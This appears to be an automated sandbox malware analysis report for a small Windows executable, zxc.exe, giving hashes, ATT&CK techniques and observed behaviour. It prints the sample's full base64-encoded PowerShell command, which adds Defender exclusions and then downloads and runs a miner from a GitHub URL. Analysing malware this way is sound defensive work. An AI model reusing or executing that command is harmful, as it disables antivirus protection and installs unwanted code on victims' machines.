cc938a7173b4bf5863d698d322be43378d520bdea430a390496b016c85410706

Analysis

max time kernel
1561s
max time network
1562s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 19:36

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General

Target

zxc.exe
Size

6KB
MD5

1037e4868002ea28986b067e602219d5
SHA1

eb606ee00af1c8e3982d827819feb020e552602e
SHA256

cc938a7173b4bf5863d698d322be43378d520bdea430a390496b016c85410706
SHA512

4924969ef9398f3a45ada5dfbaeab93d92d761100fd174075b53fbfe116738b31bc338a904a102631a7239ee8f82b8bd3ca222053385fb686820ef543ea6e183
SSDEEP

96:TH79mNb60qvjnMmt3VI9dXlO5NzO6M8Ac/h6zanF3d3oj4rl:P9gqvjn3QdXlWNzOH8Ac/hT3d/

Score

8^/10

defense_evasion

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1644	powershell.exe
6	1644	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1644	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1644	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 1644	1672	zxc.exe	31
PID 1672 wrote to memory of 1644	1672	zxc.exe	31
PID 1672 wrote to memory of 1644	1672	zxc.exe	31

C:\Users\Admin\AppData\Local\Temp\zxc.exe
"C:\Users\Admin\AppData\Local\Temp\zxc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQB1ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcgByAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdgB2AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwB3AHMAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBCAHkAdABlAHIAQwBvAGQAZQAvAG0AaQBuAGUAcgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBtAGkAbgBlAHIALgBlAHgAZQAnACwAIAA8ACMAZQBrAGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHoAbAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBxAHUAcAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB4AGQAdwBkAC4AZQB4AGUAJwApACkAPAAjAHgAcgBhACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGsAaQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBlAHgAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB4AGQAdwBkAC4AZQB4AGUAJwApADwAIwBkAHYAdAAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1644-6-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/1644-7-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/1644-8-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/1644-9-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/1672-0-0x000007FEF6083000-0x000007FEF6084000-memory.dmp

Filesize
4KB

Download
memory/1672-1-0x00000000003E0000-0x00000000003E8000-memory.dmp

Filesize
32KB

Download